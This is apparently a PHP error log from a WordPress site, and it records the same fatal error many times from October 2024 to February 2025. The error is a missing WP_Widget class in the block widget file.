[24-Oct-2024 15:18:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2024 06:46:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2024 11:59:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Oct-2024 01:21:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Nov-2024 06:47:13 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Nov-2024 07:52:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Nov-2024 17:54:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Nov-2024 08:29:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Nov-2024 08:33:13 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Nov-2024 14:04:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Nov-2024 02:47:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Nov-2024 21:29:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Nov-2024 05:02:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Nov-2024 20:17:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2024 08:38:40 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2024 12:39:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2024 12:51:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2024 15:49:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Nov-2024 03:40:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Nov-2024 03:52:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Nov-2024 05:35:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Nov-2024 06:07:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Nov-2024 11:56:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Nov-2024 11:50:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Nov-2024 03:04:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Nov-2024 07:14:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Nov-2024 01:01:27 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Nov-2024 11:34:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Dec-2024 04:32:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Dec-2024 15:51:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Dec-2024 03:03:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Dec-2024 08:59:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Dec-2024 14:42:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Dec-2024 14:14:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Dec-2024 14:43:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Dec-2024 19:48:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Dec-2024 19:52:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Dec-2024 11:49:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Dec-2024 08:44:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Dec-2024 15:57:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Dec-2024 23:03:13 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Dec-2024 12:31:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Dec-2024 02:41:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Dec-2024 07:59:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Dec-2024 00:17:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Dec-2024 07:59:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Dec-2024 18:10:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jan-2025 06:19:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jan-2025 12:19:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jan-2025 12:26:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jan-2025 07:40:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jan-2025 07:49:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jan-2025 19:23:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jan-2025 19:50:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Jan-2025 02:24:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jan-2025 18:55:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jan-2025 03:42:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Jan-2025 01:16:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jan-2025 00:37:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jan-2025 00:46:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jan-2025 20:55:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jan-2025 06:19:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jan-2025 10:30:49 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jan-2025 10:41:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jan-2025 11:29:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jan-2025 15:58:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jan-2025 00:25:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jan-2025 11:11:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Jan-2025 09:05:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Jan-2025 09:15:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Jan-2025 09:24:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jan-2025 18:17:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jan-2025 10:02:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jan-2025 16:16:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jan-2025 09:34:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jan-2025 14:24:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Jan-2025 14:03:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Feb-2025 21:43:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Feb-2025 21:51:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Feb-2025 22:33:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Feb-2025 23:22:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Feb-2025 14:26:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Feb-2025 11:53:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Feb-2025 00:49:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Feb-2025 02:43:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Feb-2025 10:34:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Feb-2025 13:03:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Feb-2025 17:02:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Feb-2025 01:36:55 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Feb-2025 05:31:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Feb-2025 11:23:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Feb-2025 21:44:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Feb-2025 08:26:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Feb-2025 23:16:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Feb-2025 20:23:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Feb-2025 08:37:13 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Feb-2025 14:27:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Feb-2025 22:58:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Feb-2025 03:11:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
